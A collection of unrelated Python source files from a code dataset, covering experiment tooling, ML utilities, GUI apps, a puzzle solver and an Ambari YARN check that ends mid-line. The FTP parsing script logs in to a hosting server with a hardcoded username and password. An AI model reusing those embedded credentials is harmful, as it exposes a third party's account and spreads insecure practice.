self.__timeout_duration = timeout_duration self.__delete_files = delete_files def __call__(self, ex: Exception, func: tp.Callable[..., tp.Any]) -> None: if self.__delete_files is not None: for delete_file in self.__delete_files: try: delete_file.unlink() except FileNotFoundError: pass error_file = self.__result_folder / self.__error_file_name if not os.path.exists(self.__result_folder): os.makedirs(self.__result_folder, exist_ok=True) with open(error_file, 'w') as outfile: if isinstance(ex, ProcessExecutionError): if ex.retcode == 124: timeout_duration = str(self.__timeout_duration) extra_error = f"""Command: {str(func)} Timeout after: {timeout_duration} """ outfile.write(extra_error) outfile.flush() outfile.write("-----\nTraceback:\n") traceback.print_exc(file=outfile) raise ex class FunctionPEErrorWrapper(): """ Wrap a function call with an exception handler. Args: func: function to be executed handler: function to handle exception """ def __init__( self, func: tp.Callable[..., tp.Any], handler: PEErrorHandler ) -> None: self.__func = func self.__handler = handler def __call__(self, *args: tp.Any, **kwargs: tp.Any) -> tp.Any: try: return self.__func(*args, **kwargs) except Exception as ex: # pylint: disable=broad-except self.__handler(ex, self.__func) return None def exec_func_with_pe_error_handler( func: tp.Callable[..., tp.Any], handler: PEErrorHandler ) -> None: """ Execute a function call with an exception handler. Args: func: function to be executed handler: function to handle exception """ FunctionPEErrorWrapper(func, handler)() def get_default_compile_error_wrapped( experiment_handle: 'ExperimentHandle', project: Project, report_type: tp.Type[BaseReport] ) -> FunctionPEErrorWrapper: """ Setup the default project compile function with an error handler. Args: experiment_handle: handle to the current experiment project: that will be compiled report_type: that should be generated Returns: project compilation function, wrapped with automatic error handling """ return FunctionPEErrorWrapper( project.compile, create_default_compiler_error_handler( experiment_handle, project, report_type, get_varats_result_folder(project) ) ) def create_default_compiler_error_handler( experiment_handle: 'ExperimentHandle', project: Project, report_type: tp.Type[BaseReport], output_folder: tp.Optional[Path] = None, binary: tp.Optional[ProjectBinaryWrapper] = None ) -> PEErrorHandler: """ Create a default PEErrorHandler for compile errors, based on the `project`, `report_type`. Args: experiment_handle: handle to the current experiment project: currently under analysis report_type: that should be generated output_folder: where the errors will be placed binary: if only a specific binary is handled Retruns: a initialized PEErrorHandler """ return create_default_error_handler( experiment_handle, project, report_type, FileStatusExtension.COMPILE_ERROR, output_folder, binary ) def create_default_analysis_failure_handler( experiment_handle: 'ExperimentHandle', project: Project, report_type: tp.Type[BaseReport], output_folder: tp.Optional[Path] = None, binary: tp.Optional[ProjectBinaryWrapper] = None, timeout_duration: tp.Optional[str] = None, ) -> PEErrorHandler: """ Create a default PEErrorHandler for analysis failures, based on the `project`, `report_type`. Args: experiment_handle: handle to the current experiment project: currently under analysis report_type: that should be generated output_folder: where the errors will be placed binary: if only a specific binary is handled timeout_duration: set timeout Retruns: a initialized PEErrorHandler """ return create_default_error_handler( experiment_handle, project, report_type, FileStatusExtension.FAILED, output_folder, binary, timeout_duration ) def create_default_error_handler( experiment_handle: 'ExperimentHandle', project: Project, report_type: tp.Type[BaseReport], error_type: FileStatusExtension, output_folder: tp.Optional[Path] = None, binary: tp.Optional[ProjectBinaryWrapper] = None, timeout_duration: tp.Optional[str] = None, ) -> PEErrorHandler: """ Create a default PEErrorHandler based on the `project`, `report_type`. Args: experiment_handle: handle to the current experiment project: currently under analysis report_type: that should be generated error_type: a FSE describing the problem type output_folder: where the errors will be placed timeout_duration: set timeout binary: if only a specific binary is handled Retruns: a initialized PEErrorHandler """ error_output_folder = output_folder if output_folder else Path( f"{bb_cfg()['varats']['outfile']}/{project.name}" ) return PEErrorHandler( str(error_output_folder), str( experiment_handle.get_file_name( report_type.shorthand(), project_name=str(project.name), binary_name=binary.name if binary else "all", project_revision=project.version_of_primary, project_uuid=str(project.run_uuid), extension_type=error_type ) ), timeout_duration=timeout_duration ) def wrap_unlimit_stack_size(cmd: tp.Callable[..., tp.Any]) -> tp.Any: """ Wraps a command with prlimit to be executed with max stack size, i.e., setting the soft limit to the hard limit. Args: cmd: command that should be executed with max stack size Returns: wrapped command """ max_stacksize_16gb = 17179869184 return prlimit[f"--stack={max_stacksize_16gb}:", cmd] VersionType = tp.TypeVar('VersionType') class ExperimentHandle(): """Handle to an experiment that provides helper interfaces for analysis steps to utilize experiment specific data.""" def __init__(self, experiment: 'VersionExperiment') -> None: self.__experiment = experiment def get_file_name( self, report_shorthand: str, project_name: str, binary_name: str, project_revision: ShortCommitHash, project_uuid: str, extension_type: FileStatusExtension, ) -> ReportFilename: """ Generates a filename for a report file that is generated by the experiment. Args: report_shorthand: unique shorthand for the report project_name: name of the project for which the report was generated binary_name: name of the binary for which the report was generated project_revision: revision (commit hash)of the analyzed project project_uuid: benchbuild uuid for the experiment run extension_type: to specify the status of the generated report Returns: name for the report file that can later be uniquly identified """ return self.__experiment.report_spec( ).get_report_type(report_shorthand).get_file_name( self.__experiment.shorthand(), project_name, binary_name, project_revision, project_uuid, extension_type ) def report_spec(self) -> ReportSpecification: """Experiment report specification.""" return self.__experiment.report_spec() class VersionExperiment(Experiment): # type: ignore """Base class for experiments that want to analyze different project revisions.""" REPORT_SPEC: ReportSpecification SHORTHAND: str @classmethod def __init_subclass__( cls, shorthand: str, *args: tp.Any, **kwargs: tp.Any ) -> None: # mypy does not yet fully understand __init_subclass__() # https://github.com/python/mypy/issues/4660 super().__init_subclass__(*args, **kwargs) # type: ignore cls.SHORTHAND = shorthand if not hasattr(cls, 'REPORT_SPEC'): raise AssertionError( f"{cls.__name__}@{cls.__module__} does not specify" " a REPORT_SPEC." ) @classmethod def shorthand(cls) -> str: """Experiment shorthand.""" return cls.SHORTHAND @classmethod def report_spec(cls) -> ReportSpecification: """Experiment report specification.""" return cls.REPORT_SPEC def get_handle(self) -> ExperimentHandle: return ExperimentHandle(self) @abstractmethod def actions_for_project(self, project: Project) -> tp.MutableSequence[Step]: """Get the actions a project wants to run.""" @staticmethod def _sample_num_versions( versions: tp.List[VersionType] ) -> tp.List[VersionType]: if vara_cfg()["experiment"]["sample_limit"].value is None: return versions sample_size = int(vara_cfg()["experiment"]["sample_limit"]) versions = [ versions[i] for i in sorted( random. sample(range(len(versions)), min(sample_size, len(versions))) ) ] return versions @classmethod def sample(cls, prj_cls: tp.Type[Project]) -> tp.List[source.VariantContext]: """ Adapt version sampling process if needed, otherwise fallback to default implementation. Args: prj_cls: project class Returns: list of sampled versions """ variants = list(source.product(*prj_cls.SOURCE)) if bool(vara_cfg()["experiment"]["random_order"]): random.shuffle(variants) fs_blacklist = vara_cfg()["experiment"]["file_status_blacklist"].value fs_whitelist = vara_cfg()["experiment"]["file_status_whitelist"].value if fs_blacklist or fs_whitelist: fs_good = set(FileStatusExtension) if not fs_whitelist else set() fs_good -= { FileStatusExtension.get_file_status_from_str(x) for x in fs_blacklist } fs_good |= { FileStatusExtension.get_file_status_from_str(x) for x in fs_whitelist } if not hasattr(cls, 'REPORT_SPEC'): raise TypeError( "Experiment sub class does not implement REPORT_SPEC." ) bad_revisions = [ # TODO (se-sic/VaRA#791): clean up usage of report spec revision.hash for revision, file_status in get_tagged_revisions( prj_cls, getattr(cls, 'REPORT_SPEC').main_report ) if file_status not in fs_good ] variants = list( filter(lambda var: str(var[0]) not in bad_revisions, variants) ) if not variants: print("Could not find any unprocessed variants.") return [] variants = cls._sample_num_versions(variants) if bool(bb_cfg()["versions"]["full"]): return [source.context(*var) for var in variants] return [source.context(*variants[0])]
StarcoderdataPython
3421742
# OpenMV Unit Tests. # import os, sensor, gc TEST_DIR = "unittest" TEMP_DIR = "unittest/temp" DATA_DIR = "unittest/data" SCRIPT_DIR = "unittest/script" if not (TEST_DIR in os.listdir("")): raise Exception('Unittest dir not found!') print("") test_failed = False def print_result(test, passed): s = "Unittest (%s)"%(test) padding = "."*(60-len(s)) print(s + padding + ("PASSED" if passed == True else "FAILED")) for test in sorted(os.listdir(SCRIPT_DIR)): if test.endswith(".py"): test_passed = True test_path = "/".join((SCRIPT_DIR, test)) try: exec(open(test_path).read()) gc.collect() if unittest(DATA_DIR, TEMP_DIR) == False: raise Exception() except Exception as e: test_failed = True test_passed = False print_result(test, test_passed) if test_failed: print("\nSome tests have FAILED!!!\n\n") else: print("\nAll tests PASSED.\n\n")
StarcoderdataPython
9648176
<reponame>dagnelies/restfs<filename>old/parseftp.py import dateutil.parser import sys def parseList(raw): files = [] for line in raw.splitlines(): files.append(parseLine(line)) return files def parseLine(line): # mode links owner group size datetime name # drwxr-xr-x 9 1176 1176 4096 Nov 12 09:03 debian # drwxr-xr-x 9 1176 1176 4096 Nov 12 09:03 name with spaces # -rw-r--r-- 1 ftp ftp 0 Nov 06 09:13 FILELIST.gz # drwxr-xr-x 10 ftp ftp 4096 Feb 04 2013 pub # lrwxrwxrwx 1 ftp ftp 17 May 25 2007 ubuntu -> pub/linux/ubuntu/ # -rw-r--r-- 1 0 0 5242880 Feb 19 2016 5MB.zip # drwxr-xr-x 2 105 108 4096 Nov 12 14:16 upload # lrwxr-xr-x 1 ftp ftp 31 May 19 2008 redhat -> mirrors/redhat.com/redhat/linux # -rw-rw-r-- 1 ftp ftp 135 May 24 2011 robots.txt # drwxr-xr-x 4 ftp ftp 2048 Oct 16 2012 rrzk # -rwxr--r-- 1 owner group 13440 1970 01 01 test.html # -rw-r--r-- 1 37423 dano2413 462 Aug 25 19:17 smiley16.gif # -rw-r--r-- 1 ftp ftp 489 Dec 10 12:57 smiley14.gif # Windows IIS apparently looks like this: # 10-24-06 04:10PM 757 getmusic.ashx print(line) tokens = line.split() mode = tokens[0] links = tokens[1] owner = tokens[2] group = tokens[3] size = tokens[4] modified = tokens[5:8] name = tokens[8:] modified = str(dateutil.parser.parse(' '.join(modified))) print(modified) from ftplib import FTP ftp = FTP('ftp.cluster020.hosting.ovh.net') ftp.login('moviesalmu-ftp','asdASD123') print('Hi2!') #ftp.retrlines('FEAT') #ftp = FTP('ftp.mozilla.org') #ftp = FTP('test.talia.net') #ftp = FTP('ftp.uni-koeln.de') # connect to host, default port #ftp.login() # user anonymous, passwd anonymous@ try: files = list(ftp.mlsd()) except: print('mlsd failed') files = [] for f in files: print(f) ftp.quit() sys.exit() a = ftp.dir('/debian', parseList) # list directory contents print('-----------LISTING DONE-------------') file = '/debian/README.mirrors.html' s = ftp.size(file) d = 0 def download(b): global d d += len(b) #print('%d%%' % (100*d/s)) ftp.retrbinary('RETR ' + file, download) print('-----------DOWNLOAD DONE-------------') ftp.quit()
StarcoderdataPython
4929300
<gh_stars>100-1000 #!/usr/bin/env python # -*- coding: utf_8 -*- import logging from logging.handlers import RotatingFileHandler import os # logPath = os.getcwd() + os.path.sep + "logs" # if not os.path.exists(logPath): # os.makedirs(logPath) # fh = RotatingFileHandler("logs/scons.log", # maxBytes=10 * 1024 * 1024, backupCount=100) # fh.setLevel(logging.DEBUG) # log write in console ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # log formatter formatter = logging.Formatter( '[%(asctime)s][%(levelname)7s] [%(filename)15s%(funcName)15s%(lineno)06s] %(message)s') # fh.setFormatter(formatter) ch.setFormatter(formatter) logger = logging.root logger.setLevel(logging.INFO) # logger.addHandler(fh) logger.addHandler(ch)
StarcoderdataPython
8078700
import glob import os import matplotlib import torch from torch.nn.utils import weight_norm matplotlib.use("Agg") import matplotlib.pylab as plt from matplotlib import colors all_colors = [*colors.BASE_COLORS.values(), *colors.TABLEAU_COLORS.values(), *colors.CSS4_COLORS.values()] all_colors = all_colors * 10 all_colors = all_colors[:300] def plot_spectrogram(spectrogram): fig, ax = plt.subplots(figsize=(10, 2)) im = ax.imshow(spectrogram, aspect="auto", origin="lower", interpolation='none') plt.colorbar(im, ax=ax) fig.canvas.draw() plt.close() return fig def plot_categorical(categorical): cmap = colors.ListedColormap(all_colors) bounds = [i - 0.5 for i in range(len(all_colors))] norm = colors.BoundaryNorm(bounds, cmap.N) fig, ax = plt.subplots(figsize=(10, 2)) im = ax.imshow(categorical, aspect="auto", origin="lower", interpolation='none', cmap=cmap, norm=norm) plt.colorbar(im, ax=ax) fig.canvas.draw() plt.close() return fig def plot_matrix(matrix): fig, ax = plt.subplots(figsize=(10, 7)) im = ax.matshow(matrix, aspect="auto", interpolation='none') plt.colorbar(im, ax=ax) fig.canvas.draw() plt.close() return fig def init_weights(m, mean=0.0, std=0.01): classname = m.__class__.__name__ if classname.find("Conv") != -1: m.weight.data.normal_(mean, std) def apply_weight_norm(m): classname = m.__class__.__name__ if classname.find("Conv") != -1: weight_norm(m) def get_padding(kernel_size, dilation=1): return int((kernel_size * dilation - dilation) / 2) def load_checkpoint(filepath, device): assert os.path.isfile(filepath) print("Loading '{}'".format(filepath)) checkpoint_dict = torch.load(filepath, map_location=device) print("Complete.") return checkpoint_dict def save_checkpoint(filepath, obj): print("Saving checkpoint to {}".format(filepath)) torch.save(obj, filepath) print("Complete.") def scan_checkpoint(cp_dir, prefix): pattern = os.path.join(cp_dir, prefix + '????????') cp_list = glob.glob(pattern) if len(cp_list) == 0: return None return sorted(cp_list)[-1]
StarcoderdataPython
6649266
from agents.models import Agent from django.core.management.base import BaseCommand class Command(BaseCommand): help = "Find all agents that have a certain software installed" def add_arguments(self, parser): parser.add_argument("name", type=str) def handle(self, *args, **kwargs): search = kwargs["name"].lower() agents = Agent.objects.all() for agent in agents: try: sw = agent.installedsoftware_set.first().software except: self.stdout.write( self.style.ERROR( f"Agent {agent.hostname} missing software list. Try manually refreshing it from the web UI from the software tab." ) ) continue for i in sw: if search in i["name"].lower(): self.stdout.write( self.style.SUCCESS( f"Found {i['name']} installed on {agent.hostname}" ) ) break
StarcoderdataPython
3263427
import time import sys import platform from PyQt5 import QtWidgets from PyQt5 import QtGui from PyQt5 import uic from PyQt5 import QtCore from PyQt5.QtCore import pyqtSlot from win10toast import ToastNotifier import threading def notify(): if( platform.system() == 'Windows' and platform.release() == '10'): toaster = ToastNotifier() toaster.show_toast("Touch On Screen", "Program is running in System Tray~") class Form(QtWidgets.QDialog, QtWidgets.QSystemTrayIcon): def __init__(self, parent=None): QtWidgets.QDialog.__init__(self, parent) QtWidgets.QSystemTrayIcon.__init__(self,parent) self.ui = uic.loadUi("test.ui", self) self.setWindowIcon(QtGui.QIcon("test.png")) # self.ui.login_widget.hide() # self.ui.how_to_widget.hide() #print(self.login_widget.) #print(self.login_widget.widget_4) @pyqtSlot() def generate_num(self): #self.ui.main_widget.pw_label.setText('1234') self.ui.pw_label_2.setText('1234') def closeEvent(self, QCloseEvent): print("WindowCLoseEvent") noti = threading.Thread(target=notify) noti.start() print('뭐지...') #self.deleteLater() #QCloseEvent.accept() class SystemTrayIcon(QtWidgets.QSystemTrayIcon): def __init__(self, icon, parent=None): QtWidgets.QSystemTrayIcon.__init__(self, icon, parent) print(parent) menu = QtWidgets.QMenu(parent) openAction = menu.addAction("Open") openAction.triggered.connect(parent.showNormal) exitAction = menu.addAction("Exit") exitAction.triggered.connect(app.quit) self.setContextMenu(menu) if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) app.setQuitOnLastWindowClosed(False) w = Form() w.show() print(w) trayIcon = SystemTrayIcon(QtGui.QIcon("test.png"), w) trayIcon.show() sys.exit(app.exec()) #size = 365 305
StarcoderdataPython
3507485
#!/usr/bin/env python """ .. py:currentmodule:: FileFormat.Results.test_XraySpectraAtomEmittedDetectedLines .. moduleauthor:: <NAME> <<EMAIL>> Tests for the module `XraySpectraAtomEmittedDetectedLines`. """ # Script information for the file. __author__ = "<NAME> (<EMAIL>)" __version__ = "" __date__ = "" __copyright__ = "Copyright (c) 2012 Hendrix Demers" __license__ = "" # Standard library modules. import unittest import logging # Third party modules. # Local modules. from pymcxray import get_current_module_path # Project modules import pymcxray.FileFormat.Results.XraySpectraAtomEmittedDetectedLines as XraySpectraAtomEmittedDetectedLines # Globals and constants variables. class TestXraySpectraAtomEmittedDetectedLines(unittest.TestCase): """ TestCase class for the module `XraySpectraAtomEmittedDetectedLines`. """ def setUp(self): """ Setup method. """ unittest.TestCase.setUp(self) def tearDown(self): """ Teardown method. """ unittest.TestCase.tearDown(self) def testSkeleton(self): """ First test to check if the testcase is working with the testing framework. """ #self.fail("Test if the testcase is working.") self.assert_(True) def test_read(self): """ Tests for method `read`. """ #SimulationsAuNPonCExperimental_Au_d61A_C_E5d0keV_N10000e_N1000X_SpectraAtomEmittedDetectedLines_Region1.csv spectrumFile = XraySpectraAtomEmittedDetectedLines.XraySpectraAtomEmittedDetectedLines() spectrumFile.path = get_current_module_path(__file__, "../../../test_data/results") spectrumFile.basename = "SimulationsAuNPonCExperimental_Au_d61A_C_E5d0keV_N10000e_N1000X" regionID = 1 spectrumFile.read(regionID) self.assertEquals(0.0025, spectrumFile.energies_keV[0]) self.assertEquals(4.9975, spectrumFile.energies_keV[-1]) self.assertEquals(1000, len(spectrumFile.energies_keV)) self.assertEquals(1, len(spectrumFile.characteristics)) self.assertEquals(1000, len(spectrumFile.characteristics['Au'])) #self.fail("Test if the testcase is working.") if __name__ == '__main__': #pragma: no cover logging.getLogger().setLevel(logging.DEBUG) from pymcxray.Testings import runTestModuleWithCoverage runTestModuleWithCoverage(__file__, withCoverage=True)
StarcoderdataPython
6698753
<reponame>RangeKing/PaddleViT<filename>image_classification/BEiT/lr_decay.py # Copyright (c) 2021 PPViT Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """parameters groups for layer-wise lr decay, used in BeiT and MAE""" import json # Note: param_groups_lrd is NOT used because paddle Adam optimizer seems has problems which we don't know, # instead, we use paddlenlp.ops.optimizer.AdamWDL with lr_settings (see below) right now for temp fix. def param_groups_lrd(model, weight_decay=0.05, no_weight_decay_list=[], layer_decay=0.75): """layer-wise decay set learning rate decay according to layer depth Note: 1. In Paddle param_groups, dict key 'learning_rate' is in fact the 'lr_mult' 2. param_names in no_weight_decay_list will have no decay 3. model.encoder.layers may need to change for models other than MAE_finetune """ param_group_names = {} param_groups = {} num_layers = len(model.encoder.layers) + 1 layer_scales = list(layer_decay ** (num_layers - i) for i in range(num_layers + 1)) for name, param in model.named_parameters(): if param.stop_gradient is True: continue # no decay if param.ndim == 1 or name.endswith('.bias') or name in no_weight_decay_list: g_decay = 'no_decay' this_weight_decay = 0. else: g_decay = 'decay' this_weight_decay = weight_decay layer_id = get_layer_id_for_vit(name, num_layers) group_name = f"layer_{layer_id}_{g_decay}" if group_name not in param_group_names: this_scale = layer_scales[layer_id] param_group_names[group_name] = { "learning_rate": this_scale, "weight_decay": this_weight_decay, "params": [], } param_groups[group_name] = { "learning_rate": this_scale, "weight_decay": this_weight_decay, "params": [], } param_group_names[group_name]["params"].append(name) param_groups[group_name]["params"].append(param) print("parameter groups: \n%s" % json.dumps(param_group_names, indent=2)) return list(param_groups.values()) def get_layer_id_for_vit(name, num_layers): """assign a parameter with its layer id""" if name in ['cls_token', 'pos_embed']: return 0 elif name.startswith('patch_embedding'): return 0 elif name.startswith('block.'): return int(name.split('.')[2]) + 1 else: return num_layers def lr_setting(layer_decay, name_dict, num_layers, param): layer_scales = list(layer_decay ** (num_layers - i) for i in range(num_layers + 1)) static_name = name_dict[param.name] #print('static_name= ', static_name, ', param.name= ', param.name) layer_id = get_layer_id_for_vit(static_name, num_layers) param.optimize_attr["learning_rate"] *= layer_scales[layer_id]
StarcoderdataPython
5169305
<reponame>pantaryl/adventofcode<gh_stars>1-10 from shared import * # Input data is in INPUT_DATA. #INPUT_DATA = [int(x) for x in INPUT_DATA] costs = { 'A': 1, 'B': 10, 'C': 100, 'D': 1000, } room1T, room2T, room3T, room4T = tuple(parse.parse('###{}#{}#{}#{}###', INPUT_DATA[2]).fixed) room1B, room2B, room3B, room4B = tuple(parse.parse(' #{}#{}#{}#{}#', INPUT_DATA[3]).fixed) rooms = [2, 4, 6, 8] hallway = [0, 1, 3, 5, 7, 9, 10] destinations = { 'A': 2, 'B': 4, 'C': 6, 'D': 8, 2: 'A', 4: 'B', 6: 'C', 8: 'D', } def heuristic(neighbor): global depth score = 0 for i, val in enumerate(neighbor): for char in val: if char != '.': destCol = destinations[char] score += costs[char] * (abs(destCol - i) + (depth - neighbor[destCol].count(char))) return score def scoreFunc(grid, current, neighbor): char = '.' toIndex = -1 fromIndex = -1 depth = 0 for i, val in enumerate(current): if val != neighbor[i]: for j, charVal in enumerate(val): if charVal != neighbor[i][j]: if charVal != '.': fromIndex = i char = charVal else: toIndex = i char = neighbor[i][j] if i in rooms: depth = max(depth, j + 1) score = costs[char] * (abs(toIndex - fromIndex) + depth) return score @memoize def adjFunc(data): global depth grid, current = data def isRoomDone(data): if isinstance(data, str): destCol = destinations[data] else: assert(isinstance(data, int)) destCol = data char = destinations[destCol] return current[destCol].count(char) == depth def isRoomSafe(data): if isinstance(data, str): destCol = destinations[data] else: assert(isinstance(data, int)) destCol = data char = destinations[destCol] return (current[destCol].count(char) + current[destCol].count('.')) == depth def isRoomEmpty(idx): return current[idx].count('.') == depth def isPathEmpty(curIdx, destIdx): minIdx = min(curIdx, destIdx) maxIdx = max(curIdx, destIdx) + 1 return all(space == '.' for idx in range(minIdx, maxIdx) for space in current[idx] if idx not in rooms and idx != curIdx) neighbors = [] for idx, space in enumerate(current): if idx in hallway and space.count('.') == 0: assert(len(space) == 1) assert(not isRoomDone(space)) # This space has an amphipod that needs to go into a room. if isRoomSafe(space): destCol = destinations[space] if isPathEmpty(idx, destCol): # If the path isn't empty, we can't move into the room. newDepth = current[destCol].count('.') newState = list(current) newState[idx] = '.' newState[destCol] = '' for charIdx, newChar in enumerate(current[destCol]): newState[destCol] += newChar if charIdx != (newDepth - 1) else space neighbors.append(tuple(newState)) elif idx in rooms: assert(len(space) == depth) if isRoomDone(idx): # If this room is complete, it can have no valid moves. continue if isRoomSafe(idx): # This room only contains characters that belong here. continue if isRoomEmpty(idx): # There is nothing to move here. Continue on. continue # Get the top-most space. existingDepth = space.count('.') char = space[existingDepth] for newIdx in hallway: if isPathEmpty(idx, newIdx): newState = list(current) newState[idx] = "" for charIdx, newChar in enumerate(space): newState[idx] += newChar if charIdx != existingDepth else '.' newState[newIdx] = char neighbors.append(tuple(newState)) return neighbors # Part 1 depth = 2 state = [ '.', '.', room1T + room1B, '.', room2T + room2B, '.', room3T + room3B, '.', room4T + room4B, '.', '.', ] goal = [ '.', '.', 'AA', '.', 'BB', '.', 'CC', '.', 'DD', '.', '.', ] assert(len(state) == 11) part1 = list(aStar(None, tuple(state), tuple(goal), heuristic, adjFunc, scoreFunc)) score = sum(scoreFunc(None, x, y) for x, y in zip(part1[0:], part1[1:])) print(score) # Part 2 depth = 4 state = [ '.', '.', room1T + 'DD' + room1B, '.', room2T + 'CB' + room2B, '.', room3T + 'BA' + room3B, '.', room4T + 'AC' + room4B, '.', '.', ] goal = [ '.', '.', 'AAAA', '.', 'BBBB', '.', 'CCCC', '.', 'DDDD', '.', '.', ] assert(len(state) == 11) part2 = list(aStar(None, tuple(state), tuple(goal), heuristic, adjFunc, scoreFunc)) score = sum(scoreFunc(None, x, y) for x, y in zip(part2[0:], part2[1:])) print(score)
StarcoderdataPython
4938332
<reponame>c-rainbow/nurse-scheduling import os import tkinter as tk from tkinter import filedialog from tkinter import messagebox from tkinter import scrolledtext from tkinter import ttk from shiftscheduler.excel import input as excel_input from shiftscheduler.excel import output as excel_output from shiftscheduler.gui import constants from shiftscheduler.gui import util from shiftscheduler.i18n import gettext from shiftscheduler.solver import input as solver_input from shiftscheduler.solver import output as solver_output from shiftscheduler.validation import validator _ = gettext.GetTextFn('gui/new_schedule') class NewScheduleFrame(ttk.Frame): def __init__(self, master, *args, **kwargs): super().__init__(master, *args, **kwargs) util.SetGridWeights(self, column_weights=(1, 2)) self.open_filename_strv = tk.StringVar(value='') self.start_date_strv = tk.StringVar(value='') self.end_date_strv = tk.StringVar(value='') self.max_time_var = tk.IntVar() self.createLeftFrame() self.createRightFrame() def createLeftFrame(self): left_frame = ttk.Frame(self) util.SetGrid(left_frame, 0, 0) util.SetGridWeights(left_frame, row_weights=(1, 1, 1, 1, 1, 2, 1, 2, 1)) # Button to open partially filled barebone filed open_file_button = ttk.Button( left_frame, text=_('Load barebone Excel file'), command=self.openBareboneExcel) util.SetGrid(open_file_button, 0, 0) # Opened file name. Empty label if no file is loaded open_file_label = ttk.Label(left_frame, textvariable=self.open_filename_strv) util.SetGrid(open_file_label, 1, 0) # Start date, end date of new schedule start_date_label = ttk.Label(left_frame, textvariable=self.start_date_strv) util.SetGrid(start_date_label, 2, 0) end_date_label = ttk.Label(left_frame, textvariable=self.end_date_strv) util.SetGrid(end_date_label, 3, 0) # How long should the solver run? max_time_frame = ttk.Frame(left_frame) util.SetGridWeights(max_time_frame, column_weights=(4, 1, 1)) util.SetGrid(max_time_frame, 6, 0) max_time_label1 = ttk.Label(max_time_frame, text=_('Maximum search time')) util.SetGrid(max_time_label1, 0, 0) self.max_time_var.set(1) spinbox = ttk.Spinbox(max_time_frame, from_=1, to=30, textvariable=self.max_time_var) util.SetGrid(spinbox, 0, 1) max_time_label2 = ttk.Label(max_time_frame, text=_('minutes')) util.SetGrid(max_time_label2, 0, 2) # Notice that the solver will stop after the specific time max_time_info_label = ttk.Label( left_frame, text=_('Search will stop after this time')) util.SetGrid(max_time_info_label, 7, 0) # Start button. Click will validate the input Excel and run the solver submit_button = ttk.Button(left_frame, text=_('Start Search')) util.SetGrid(submit_button, 8, 0) def createRightFrame(self): right_frame = ttk.Frame(self) util.SetGrid(right_frame, 0, 1) util.SetGridWeights(right_frame, row_weights=(1, 9)) # Right side of the frame only displays status (of validation and solver run) label = ttk.Label(right_frame, text=_('Progress')) util.SetGrid(label, 0, 0) self.status_text_area = scrolledtext.ScrolledText(right_frame, state=tk.DISABLED) util.SetGrid(self.status_text_area, 1, 0) def clearFields(self): self.open_filename_strv.set('') self.start_date_strv.set('') self.end_date_strv.set('') self.status_text_area.configure(state=tk.NORMAL) self.status_text_area.delete(1.0, tk.END) self.status_text_area.configure(state=tk.DISABLED) def updateLabels(self, filepath, start_date, end_date): self.clearFields() filename = os.path.basename(filepath) self.open_filename_strv.set(_('Selected file: {filename}').format(filename=filename)) self.start_date_strv.set(_('Start date: {start_date}').format(start_date=start_date)) self.end_date_strv.set(_('End date: {end_date}').format(end_date=end_date)) def addToTextArea(self, text_to_add): self.status_text_area.configure(state=tk.NORMAL) self.status_text_area.insert(tk.END, text_to_add) self.status_text_area.configure(state=tk.DISABLED) def openBareboneExcel(self): filepath = filedialog.askopenfilename( title=_('Load barebone Excel file'), filetypes=constants.EXCEL_FILE_TYPE) if not filepath: return base_schedule = excel_input.ReadFromExcelFile(filepath) # Update labels start_date = base_schedule.software_config.start_date end_date = base_schedule.software_config.end_date self.updateLabels(filepath, start_date, end_date) # Validate errors = validator.ValidateTotalScheduleFormat(base_schedule, barebone=True) if errors: self.addToTextArea('\n'.join(errors)) else: self.addToTextArea(_('Starting..\n')) solver, var_dict = solver_input.FromTotalSchedule(base_schedule) self.addToTextArea(_('Starting the solver')) max_time_ms = self.max_time_var.get() * 60 * 1000 solver.set_time_limit(max_time_ms) status = solver.Solve() self.addToTextArea(_('The solver stopped. Result: {status}\n').format(status=status)) if status == solver.INFEASIBLE: messagebox.showerror(message=_('No solution is found. Please check the conditions')) return else: messagebox.showinfo(message=_('Completed the schedule. Please choose the location to save it')) new_schedule = solver_output.ToTotalSchedule( base_schedule.software_config, base_schedule.person_configs, base_schedule.date_configs, var_dict) errors = validator.ValidateTotalScheduleFormat(new_schedule, barebone=False) if errors: self.addToTextArea('\n'.join(errors)) return # Save to Excel file filepath = filedialog.asksaveasfilename( title=_('Save to..'), filetypes=constants.EXCEL_FILE_TYPE) if filepath: excel_output.FromTotalSchedule(new_schedule, filepath)
StarcoderdataPython
3487691
<reponame>Syndra/Ambari-source<gh_stars>1-10 """ Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Ambari Agent """ import re import sys import subprocess from resource_management.libraries.functions.version import compare_versions from resource_management import * import ambari_simplejson as json # simplejson is much faster comparing to Python 2.6 json module and has the same functions set. from resource_management.libraries.functions.get_user_call_output import get_user_call_output CURL_CONNECTION_TIMEOUT = '5' class ServiceCheck(Script): def service_check(self, env): import params env.set_params(params) if params.stack_version != "" and compare_versions(params.stack_version, '4.0') >= 0: path_to_distributed_shell_jar = "/usr/iop/current/hadoop-yarn-client/hadoop-yarn-applications-distributedshell.jar" else: path_to_distributed_shell_jar = "/usr/lib/hadoop-yarn/hadoop-yarn-applications-distributedshell*.jar" yarn_distrubuted_shell_check_cmd = format("yarn org.apache.hadoop.yarn.applications.distributedshell.Client " "-shell_command ls -num_containers {number_of_nm} -jar {path_to_distributed_shell_jar}") if params.security_enabled: kinit_cmd = format("{kinit_path_local} -kt {smoke_user_keytab} {smokeuser_principal};") smoke_cmd = format("{kinit_cmd} {yarn_distrubuted_shell_check_cmd}") else: smoke_cmd = yarn_distrubuted_shell_check_cmd return_code, out = shell.checked_call(smoke_cmd, path='/usr/sbin:/sbin:/usr/local/bin:/bin:/usr/bin', user=params.smokeuser, ) m = re.search("appTrackingUrl=(.*),\s", out) app_url = m.group(1) splitted_app_url = str(app_url).split('/') for item 